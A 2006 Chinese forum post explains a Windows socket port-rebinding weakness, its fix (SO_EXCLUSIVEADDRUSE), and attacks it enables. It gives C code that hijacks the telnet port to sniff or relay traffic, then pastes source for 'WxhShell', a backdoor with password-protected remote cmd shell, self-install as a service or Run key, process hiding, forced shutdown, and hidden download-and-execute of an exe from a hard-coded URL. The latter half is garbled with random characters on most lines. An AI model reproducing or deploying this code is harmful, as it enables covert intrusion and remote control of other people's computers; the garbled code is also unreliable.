[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道

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0 发表于: 2006-09-01

在WINDOWS的SOCKET服务器应用的编程中，如下的语句或许比比都是：
　　s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

　　saddr.sin_family = AF_INET;

　　saddr.sin_addr.s_addr = htonl(INADDR_ANY);

　　bind(s,(SOCKADDR *)&saddr,sizeof(saddr));

　　其实这当中存在在非常大的安全隐患，因为在winsock的实现中，对于服务器的绑定是可以多重绑定的，在确定多重绑定使用谁的时候，根据一条原则是谁的指定最明确则将包递交给谁，而且没有权限之分，也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。

　　这意味着什么？意味着可以进行如下的攻击：

　　1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏，他通过自己特定的包格式判断是不是自己的包，如果是自己处理，如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。

　　2。一个木马可以在低权限用户上绑定高权限的服务应用的端口，进行该处理信息的嗅探，本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求，但其实利用SOCKET重绑定，你可以轻易的监听具备这种SOCKET编程漏洞的通讯，而无须采用什么挂接，钩子或低层的驱动技术（这些都需要具备管理员权限才能达到）

　　3。针对一些的特殊应用，可以发起中间人攻击，从低权限用户上获得信息或事实欺骗，如在guest权限下拦截telnet服务器的23端口，如果是采用NTLM加密认证，虽然你无法通过嗅探直接获取密码，但一旦有admin用户通过你登陆以后，你的应用就完全可以发起中间人攻击，扮演这个登陆的用户通过SOCKET发送高权限的命令，到达入侵的目的。

　　4.对于构建的WEB服务器，入侵者只需要获得低级的权限，就可以完全达到更改网页目的，很简单，扮演你的服务器给予连接请求以其他信息的应答，甚至是基于电子商务上的欺骗，获取非法的数据。　

　　其实，MS自己的很多服务的SOCKET编程都存在这样的问题，telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击，在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样，那么如果你已经可以以低权限用户入侵或木马植入的话，而且对方又开启了这些服务的话，那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。

　　解决的方法很简单，在编写如上应用的时候，绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址，而不允许复用。这样其他人就无法复用这个端口了。

　　下面就是一个简单的截听ms telnet服务器的例子，在GUEST用户下都能成功进行截听，剩余的就是大家根据自己的需要，进行一些特殊剪裁的问题了：如是隐藏，嗅探数据，高权限用户欺骗等。

　　#include
　　#include
　　#include
　　#include 　　
　　DWORD WINAPI ClientThread(LPVOID lpParam);　　
　　int main()
　　{
　　WORD wVersionRequested;
　　DWORD ret;
　　WSADATA wsaData;
　　BOOL val;
　　SOCKADDR_IN saddr;
　　SOCKADDR_IN scaddr;
　　int err;
　　SOCKET s;
　　SOCKET sc;
　　int caddsize;
　　HANDLE mt;
　　DWORD tid;　　
　　wVersionRequested = MAKEWORD( 2, 2 );
　　err = WSAStartup( wVersionRequested, &wsaData );
　　if ( err != 0 ) {
　　printf("error!WSAStartup failed!\n");
　　return -1;
　　}
　　saddr.sin_family = AF_INET;
　　
　　//截听虽然也可以将地址指定为INADDR_ANY，但是要不能影响正常应用情况下，应该指定具体的IP，留下127.0.0.1给正常的服务应用，然后利用这个地址进行转发，就可以不影响对方正常应用了

　　saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
　　saddr.sin_port = htons(23);
　　if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = TRUE;
　　//SO_REUSEADDR选项就是可以实现端口重绑定的
　　if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
　　{
　　printf("error!setsockopt failed!\n");
　　return -1;
　　}
　　//如果指定了SO_EXCLUSIVEADDRUSE，就不会绑定成功，返回无权限的错误代码；
　　//如果是想通过重利用端口达到隐藏的目的，就可以动态的测试当前已绑定的端口哪个可以成功，就说明具备这个漏洞，然后动态利用端口使得更隐蔽
　　//其实UDP端口一样可以这样重绑定利用，这儿主要是以TELNET服务为例子进行攻击

　　if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
　　{
　　ret=GetLastError();
　　printf("error!bind failed!\n");
　　return -1;
　　}
　　listen(s,2);
　　while(1)
　　{
　　caddsize = sizeof(scaddr);
　　//接受连接请求
　　sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
　　if(sc!=INVALID_SOCKET)
　　{
　　mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
　　if(mt==NULL)
　　{
　　printf("Thread Creat Failed!\n");
　　break;
　　}
　　}
　　CloseHandle(mt);
　　}
　　closesocket(s);
　　WSACleanup();
　　return 0;
　　}　　
　　DWORD WINAPI ClientThread(LPVOID lpParam)
　　{
　　SOCKET ss = (SOCKET)lpParam;
　　SOCKET sc;
　　unsigned char buf[4096];
　　SOCKADDR_IN saddr;
　　long num;
　　DWORD val;
　　DWORD ret;
　　//如果是隐藏端口应用的话，可以在此处加一些判断
　　//如果是自己的包，就可以进行一些特殊处理，不是的话通过127.0.0.1进行转发　　
　　saddr.sin_family = AF_INET;
　　saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
　　saddr.sin_port = htons(23);
　　if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
　　{
　　printf("error!socket failed!\n");
　　return -1;
　　}
　　val = 100;
　　if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
　　{
　　ret = GetLastError();
　　return -1;
　　}
　　if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
　　{
　　printf("error!socket connect failed!\n");
　　closesocket(sc);
　　closesocket(ss);
　　return -1;
　　}
　　while(1)
　　{
　　//下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上，并把应答的包再转发回去。
　　//如果是嗅探内容的话，可以再此处进行内容分析和记录
　　//如果是攻击如TELNET服务器，利用其高权限登陆用户的话，可以分析其登陆用户，然后利用发送特定的包以劫持的用户身份执行。
　　num = recv(ss,buf,4096,0);
　　if(num>0)
　　send(sc,buf,num,0);
　　else if(num==0)
　　break;
　　num = recv(sc,buf,4096,0);
　　if(num>0)
　　send(ss,buf,num,0);
　　else if(num==0)
　　break;
　　}
　　closesocket(ss);
　　closesocket(sc);
　　return 0 ;
　　}

==========================================================

下边附上一个代码，，WXhSHELL

==========================================================

#include "stdafx.h"

#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#include <winsvc.h>
#include <urlmon.h>

#pragma comment (lib, "Ws2_32.lib")
#pragma comment (lib, "urlmon.lib")

#define MAX_USER 100 // 最大客户端连接数
#define BUF_SOCK 200 // sock buffer
#define KEY_BUFF 255 // 输入 buffer

#define REBOOT 0 // 重启
#define SHUTDOWN 1 // 关机

#define DEF_PORT 5000 // 监听端口

#define REG_LEN 16 // 注册表键长度
#define SVC_LEN 80 // NT服务名长度

// 从dll定义API
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);

// wxhshell配置信息
struct WSCFG {
int ws_port; // 监听端口
char ws_passstr[REG_LEN]; // 口令
int ws_autoins; // 安装标记, 1=yes 0=no
char ws_regname[REG_LEN]; // 注册表键名
char ws_svcname[REG_LEN]; // 服务名
char ws_svcdisp[SVC_LEN]; // 服务显示名
char ws_svcdesc[SVC_LEN]; // 服务描述信息
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
int ws_downexe; // 下载执行标记, 1=yes 0=no
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名

};

// default Wxhshell configuration
struct WSCFG wscfg={DEF_PORT,
"xuhuanlingzhe",
1,
"Wxhshell",
"Wxhshell",
"WxhShell Service",
"Wrsky Windows CmdShell Service",
"Please Input Your Password: ",
1,
"http://www.wrsky.com/wxhshell.exe",
"Wxhshell.exe"
};

// 消息定义模块
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
char *msg_ws_prompt="\n\r? for help\n\r#>";
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";
char *msg_ws_ext="\n\rExit.";
char *msg_ws_end="\n\rQuit.";
char *msg_ws_boot="\n\rReboot...";
char *msg_ws_poff="\n\rShutdown...";
char *msg_ws_down="\n\rSave to ";

char *msg_ws_err="\n\rErr!";
char *msg_ws_ok="\n\rOK!";

char ExeFile[MAX_PATH];
int nUser = 0;
HANDLE handles[MAX_USER];
int OsIsNt;

SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE hServiceStatusHandle;

// 函数声明
int Install(void);
int Uninstall(void);
int DownloadFile(char *sURL, SOCKET wsh);
int Boot(int flag);
void HideProc(void);
int GetOsVer(void);
int Wxhshell(SOCKET wsl);
void TalkWithClient(void *cs);
int CmdShell(SOCKET sock);
int StartFromService(void);
int StartWxhshell(LPSTR lpCmdLine);

VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
VOID WINAPI NTServiceHandler( DWORD fdwControl );

// 数据结构和表定义
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{wscfg.ws_svcname, NTServiceMain},
{NULL, NULL}
};

// 自我安装
int Install(void)
{
char svExeFile[MAX_PATH];
HKEY key;
strcpy(svExeFile,ExeFile);

// 如果是win9x系统，修改注册表设为自启动
if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
RegCloseKey(key);
return 0;
}
}
}
else {

// 如果是NT以上系统，安装为系统服务
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
if (schSCManager!=0)
{
SC_HANDLE schService = CreateService
(
schSCManager,
wscfg.ws_svcname,
wscfg.ws_svcdisp,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
svExeFile,
NULL,
NULL,
NULL,
NULL,
NULL
);
if (schService!=0)
{
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
strcat(svExeFile,wscfg.ws_svcname);
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
RegCloseKey(key);
return 0;
}
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 自我卸载
int Uninstall(void)
{
HKEY key;

if(!OsIsNt) {
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
RegDeleteValue(key,wscfg.ws_regname);
RegCloseKey(key);
return 0;
}
}
}
else {

SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (schSCManager!=0)
{
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
if (schService!=0)
{
if(DeleteService(schService)!=0) {
CloseServiceHandle(schService);
CloseServiceHandle(schSCManager);
return 0;
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
}

return 1;
}

// 从指定url下载文件
int DownloadFile(char *sURL, SOCKET wsh)
{
HRESULT hr;
char seps[]= "/";
char *token;
char *file;
char myURL[MAX_PATH];
char myFILE[MAX_PATH];

strcpy(myURL,sURL);
token=strtok(myURL,seps);
while(token!=NULL)
{
file=token;
token=strtok(NULL,seps);
}

GetCurrentDirectory(MAX_PATH,myFILE);
strcat(myFILE, "\\");
strcat(myFILE, file);
send(wsh,myFILE,strlen(myFILE),0);
send(wsh,"...",3,0);
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
if(hr==S_OK)
return 0;
else
return 1;

}

// 系统电源模块
int Boot(int flag)
{
HANDLE hToken;
TOKEN_PRIVILEGES tkp;

if(OsIsNt) {
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
return 0;
}
else {
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
return 0;
}
}
else {
if(flag==REBOOT) {
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
return 0;
}
else {
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
return 0;
}
}

return 1;
}

// win9x进程隐藏模块
void HideProc(void)
{

HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
if ( hKernel != NULL )
{
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FreeLibrary(hKernel);
}

return;
}

// 获取操作系统版本
int GetOsVer(void)
{
OSVERSIONINFO winfo;
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GetVersionEx(&winfo);
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
return 1;
else
return 0;
}

// 客户端句柄模块
int Wxhshell(SOCKET wsl)
{
SOCKET wsh;
struct sockaddr_in client;
DWORD myID;

while(nUser<MAX_USER)
{
int nSize=sizeof(client);
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
if(wsh==INVALID_SOCKET) return 1;

handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
if(handles[nUser]==0)
closesocket(wsh);
else
nUser++;
}
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);

return 0;
}

// 关闭 socket
void CloseIt(SOCKET wsh)
{
closesocket(wsh);
nUser--;
ExitThread(0);
}

// 客户端请求句柄
void TalkWithClient(void *cs)
{

SOCKET wsh=(SOCKET)cs;
char pwd[SVC_LEN];
char cmd[KEY_BUFF];
char chr[1];
int i,j;

while (nUser < MAX_USER) {

if(wscfg.ws_passstr) {
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
//ZeroMemory(pwd,KEY_BUFF);
i=0;
while(i<SVC_LEN) {

// 设置超时
fd_set FdRead;
struct timeval TimeOut;
FD_ZERO(&FdRead);
FD_SET(wsh,&FdRead);
TimeOut.tv_sec=8;
TimeOut.tv_usec=0;
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);

if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
pwd=chr[0]; +{)V%"{u:
if(chr[0]==0xd || chr[0]==0xa) { Ja\B%f
pwd=0; .fhfO @
break; +`m0i1uI3
} u |$GOSD
i++; !a'{gw
} \4*i;a.kU
ke +\Z>BWN
// 如果是非法用户，关闭 socket ]Qx-f* D6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); G jrN1+9=
} ?f:\&+.&
j=>WWlZ
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )s 1 Ei9J
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c1f`?i}.
Uf[Gs/!NV
while(1) { #?\|)y4i
W$" >\A0%
ZeroMemory(cmd,KEY_BUFF); !$o9:[B
E/ku VZX
// 自动支持客户端 telnet标准 jz&=8
j=0; &hhxp1B
while(j<KEY_BUFF) { Rg~[X5
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \nVoBW(
cmd[j]=chr[0]; _&@cU<bdee
if(chr[0]==0xa || chr[0]==0xd) { wLQM]$O
cmd[j]=0; (%M:=zm
break; 9 &Od7Cn
} _8z
j++; ,(#n8|q4
} )7rMevF(xJ
VN@ZYSs
// 下载文件 Ahg6>7+R.
if(strstr(cmd,"http://")) { kRzqgVr%
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1;MUemnx`
if(DownloadFile(cmd,wsh)) JlH5 <:#PN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); LA837%)
else C9T-4o1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gD6BPW~0
} a4!6K
else { -32.g\]
FC8= ru
switch(cmd[0]) { NsSl|m
sWLH"'Z
// 帮助 WOGMtT%
case '?': { g[xn0rG
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y {Mh ?H
break; $4TawFf"nc
} 2 BwpxV8
// 安装 v|>'m#Ln2
case 'i': { Tj=g[)+K
if(Install()) GwlAEhP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cFG%Ew@
else ;\+A6(GX{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0`e- ;
break; +)d7SWO6]!
} :w c.V
// 卸载 s0'Xihsw6
case 'r': { <QE/p0.
if(Uninstall()) \hZ9in`YlR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <.6$zcW
else a,p7l$kK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ch}(v'xv(
break; qZP>h4
} #1f8A5<
// 显示 wxhshell 所在路径 gCS%J40r
case 'p': { F(:]lM|
char svExeFile[MAX_PATH]; 3gmu-tv
strcpy(svExeFile,"\n\r"); ps?B;P
strcat(svExeFile,ExeFile); 7Y'.yn
send(wsh,svExeFile,strlen(svExeFile),0); V|dKKb[Lve
break; D&&11Iz&
} )8Sm}aC
// 重启 5fa_L'L#
case 'b': { {R.@EFkZ
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *,__\/U98
if(Boot(REBOOT)) ~ +z'pK~c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I#hzU8Cc
else { ;tLu
closesocket(wsh); {mV,bg,}~
ExitThread(0); c7N`W}BZ
} T\Q)"GB
break; 8/E?3a_g-
} Fop"m/
// 关机 uBC*7Mkm
case 'd': { %S4pkFR
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -T-h~5
if(Boot(SHUTDOWN)) CpICb9w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )<jT;cT!&
else { <El6?ml@
closesocket(wsh); +hS}msu'
ExitThread(0); :ITz\m
} <)(STo
break; xlaBOKa%
} wXsA-H/`
// 获取shell QFf lx
case 's': { i'9
CmdShell(wsh); jW+L0RkX
closesocket(wsh); mYzq[p_|j
ExitThread(0); _nj?au(@`Y
break; fKAG+t
} 8aD4wc
// 退出 `ja**re
case 'x': { "-TIao#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Eyu?T
CloseIt(wsh); 52#@.Qa
break; s&$Zgf6Z
} Si]8*>}-B
// 离开 Fu(I<o+T-
case 'q': { asI:J/%+2
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4o2C=?@(
closesocket(wsh); &sQtS
WSACleanup(); `W[oLQ
exit(1); ]7^YPFc+
break; ef!V EtEOv
} BY$%gIB6>
} R('44v5JQp
} PTvP;
|nj%G<
// 提示信息 <H~ (iQ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vf(\?Js,
} kqA`d
} `riK[@
( UV8M\
return; p]#%e0
} \^3\_T&6
-U=bC
// shell模块句柄 mOyBSOad4
int CmdShell(SOCKET sock) R28h%KN
{ YXa^jFp
STARTUPINFO si; F/}PN1#T
ZeroMemory(&si,sizeof(si)); jfHVXu^M
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hC8'6h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [ua{qJ9
PROCESS_INFORMATION ProcessInfo; ]pr;ME<M{
char cmdline[]="cmd"; P$D1kcCw
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?!-2G
return 0; $3%EKi
} I/MYS5}
Zl.}J,0F
// 自身启动模式 /'}O-h
int StartFromService(void) )fR'1_
{ o%!a
typedef struct c0jC84*v
{ 6P!M+PO
DWORD ExitStatus; mg*[,_3q33
DWORD PebBaseAddress; z.pP~he
DWORD AffinityMask; W04-D
DWORD BasePriority; bY;ah;<
ULONG UniqueProcessId; oO>mGl36H
ULONG InheritedFromUniqueProcessId; `hL16S
} PROCESS_BASIC_INFORMATION; 5>JrTO5
dHzo_VV
PROCNTQSIP NtQueryInformationProcess; >t O(S
p}}o#a~V),
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; icHc!m?
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4RNB\D
Hc4]2pf
HANDLE hProcess; cyG3le& +G
PROCESS_BASIC_INFORMATION pbi; {v56k8uZ
<`a!%_LC [
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cjsy1gA
if(NULL == hInst ) return 0; O%y.
$ T.c>13
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V\WqA8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6<R!`N 6
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]7-*1kL8=~
^6|Q$]}Ok
if (!NtQueryInformationProcess) return 0; 7 rOziKZ"
<`b)56v:+
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U*=ebZno
if(!hProcess) return 0; 9=~"^dp54%
Y_)!U`>N?
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /N7j5v(
>c?Z.of
CloseHandle(hProcess); F%t`dz!L
r+;op_
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c Q|nL
if(hProcess==NULL) return 0; /A4zR
4E}/{1
HMODULE hMod; 9#iu#?*B
char procName[255]; diGPTV-?$
unsigned long cbNeeded; ub6=^`>h
kc\^xq~
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iu2{%S)w
Je[wGF:%:$
CloseHandle(hProcess); cWP34;NNM
Qq(/TA0$-
if(strstr(procName,"services")) return 1; // 以服务启动 hkee,PiiP
} O8|_d
return 0; // 注册表启动 ,[%KSyH
} |#Bz&T
G@ XKE17
// 主模块 _K3?0<=4
int StartWxhshell(LPSTR lpCmdLine) NSUw7hnWvz
{ k/?5Fs!#
SOCKET wsl; znzh$9tH
BOOL val=TRUE; @S yGj#
int port=0; mTT1,|
struct sockaddr_in door; L\XnTL{
/Zap'S/
if(wscfg.ws_autoins) Install(); 9H$#c_zrq
oEd+
port=atoi(lpCmdLine); ?`,<l#sj
>fPa>[_1
if(port<=0) port=wscfg.ws_port; 9"KEHf!
+ZEj(fd9
WSADATA data; Ro`9Ibqr
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yf*^Y74
hW6og)x
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &xo,49`!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #HpF\{{v
door.sin_family = AF_INET; |TatRB3>
door.sin_addr.s_addr = inet_addr("127.0.0.1"); d:.S]OI0
door.sin_port = htons(port); x}$SB%9/
Ly0^ L-~|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j]#qq]c
closesocket(wsl); 'z8?_{$
return 1; w xKlBx7
} Jw)Uk< \
~oy=2Q<Z
if(listen(wsl,2) == INVALID_SOCKET) { d`q<!qFZh
closesocket(wsl); `h}fS4CO
return 1; 9q5jqFQ
} X]d;x/2
Wxhshell(wsl); A}v!vVg
WSACleanup(); *]NG@^y
;fw}<M!6
return 0; lk]q\yO_%
eW,{E)x:
} HjAhz
4t]ccqX*{
// 以NT服务方式启动 'hN_H}U
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mN?y\GB
{ N"1o> !
DWORD status = 0; d(9ZopJrQ
DWORD specificError = 0xfffffff; @&#k['c
SEa'>UG
serviceStatus.dwServiceType = SERVICE_WIN32; `>-fU<Q1
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ce@1#}*
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }W^%5o87{
serviceStatus.dwWin32ExitCode = 0; >zFk}/
serviceStatus.dwServiceSpecificExitCode = 0; GdHFgxI
serviceStatus.dwCheckPoint = 0; t%Sgw%f
serviceStatus.dwWaitHint = 0; ^)oBa=jL4
viB'ul7o
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A?i ~*#wE
if (hServiceStatusHandle==0) return; Wu3or"lcw*
g<pr(7jO
status = GetLastError(); yNCd} 4Ym5
if (status!=NO_ERROR) [qbZp1s|(
{ 4&%0%
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,Ta k',
serviceStatus.dwCheckPoint = 0; B;x5os
serviceStatus.dwWaitHint = 0; (iQ< [3C=
serviceStatus.dwWin32ExitCode = status; 0z&]imU
serviceStatus.dwServiceSpecificExitCode = specificError; @+Ch2Lod
SetServiceStatus(hServiceStatusHandle, &serviceStatus); .aS`l~6
return; KUJCkwQ
} mq 0d ea
K!W7a~ @
serviceStatus.dwCurrentState = SERVICE_RUNNING; q:h7Jik
serviceStatus.dwCheckPoint = 0; prtNfwJz1j
serviceStatus.dwWaitHint = 0; m31l[e
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O|%03q(
} x*>@knP<-
Qw>~]d,Z
// 处理NT服务事件，比如：启动、停止 c12mT(+-
VOID WINAPI NTServiceHandler(DWORD fdwControl) NxY B)`~
{ %8Eu{3
switch(fdwControl) @^P<(%p
{ S7pf QF
case SERVICE_CONTROL_STOP: AXnRAW
serviceStatus.dwWin32ExitCode = 0; ) uM*`%
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6Qtyv
serviceStatus.dwCheckPoint = 0; jW]Q-
serviceStatus.dwWaitHint = 0; BoJpf8e'-e
{ bu0i#
SetServiceStatus(hServiceStatusHandle, &serviceStatus); atr0hmQ
} u@&e{w~0
return; 0O>T{<
case SERVICE_CONTROL_PAUSE: mok94XuK)
serviceStatus.dwCurrentState = SERVICE_PAUSED; m\zCHX#n
break; xER-TT#S
case SERVICE_CONTROL_CONTINUE: |"]#jx*8KC
serviceStatus.dwCurrentState = SERVICE_RUNNING; {Kh^)oYdd
break; Fnqj^5
case SERVICE_CONTROL_INTERROGATE: z)tULnR8
break; df\^uyD;
}; ^^ >j2=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2P35#QI[)
} |L9p.q
v9k\[E?
// 标准应用程序主函数 _2Zc?*4
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,GeW_!Q[
{ _oz1'}=
d1jg3{pwA
// 获取操作系统版本 Z FIy
OsIsNt=GetOsVer(); ":v^Y 9
GetModuleFileName(NULL,ExeFile,MAX_PATH); %CoO-1@C
]S0=&x@,
// 从命令行安装 z}BuR*WSY{
if(strpbrk(lpCmdLine,"iI")) Install(); Fs$mLa
"+XF'ZO
// 下载执行文件 kz0pX-@b
if(wscfg.ws_downexe) { #~}4< 18
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -%fc)y&$
WinExec(wscfg.ws_filenam,SW_HIDE); +MR]h [
} xig4H7V
q$7w?(Lk
